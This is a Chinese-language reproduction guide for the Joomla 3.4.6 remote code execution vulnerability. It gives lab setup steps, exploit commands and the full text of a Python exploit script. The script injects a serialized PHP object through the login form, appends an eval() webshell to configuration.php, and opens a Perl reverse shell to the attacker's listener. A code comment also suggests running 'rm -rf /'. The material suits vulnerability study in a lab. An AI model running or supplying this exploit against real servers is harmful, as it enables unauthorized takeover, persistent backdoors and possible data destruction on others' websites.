Joomla简介

1、Joomla是一套全球有名的CMS系统。

2、Joomla基于PHP语言加上MySQL数据库所开发出来的WEB软件系统,目前最新版本是3.9.12。

3、Joomla可以在多种不同的平台上部署并且运行。

漏洞影响

1
3.0.0-3.4.6

漏洞环境

环境下载:

1
https://downloads.joomla.org/it/cms/joomla3/3-4-6

在Windows中使用phpstudy集成环境,把下载好的Joomla解压放进www中访问,正常安装即可
EXP下载地址:

1
https://github.com/momika233/Joomla-3.4.6-RCE

漏洞复现

使用脚本对网站进行验证,显示Vulnerable证明存在漏洞

1
python3 Joomla-3.4.6-RCE.py -t http://192.168.197.134/joomla/

设置监听后写入webs hell

1
python3 Joomla-3.4.6-RCE.py -t http://192.168.197.134/joomla/ --exploit -l 192.168.197.152 -p 6666

漏洞位置在:

1
http://x.x.x.x/configuration.php

网站目录中查看configuration.php我们可以看到已经写入webshell了

使用蚁剑跟菜刀都可以连接,我这里用的是菜刀,密码:

1
udmxarfuuzhrbglmbshuafycqgqqqbzrhucdnyphdtctjtqryg

EXP脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored

init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
print(colored("[*] " + str,"cyan"))

def print_ok(str):
print(colored("[+] "+ str,"green"))

def print_error(str):
print(colored("[-] "+ str,"red"))

def print_warning(str):
print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf


def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True


def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies


def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)

user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}

print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text

def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request

function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False

def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False

def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)

def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')

# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'

make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())

url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')

else:
print_error('Seems NOT Vulnerable ;/')

参考:
https://github.com/momika233/Joomla-3.4.6-RCE
https://www.anquanke.com/vul/id/1771843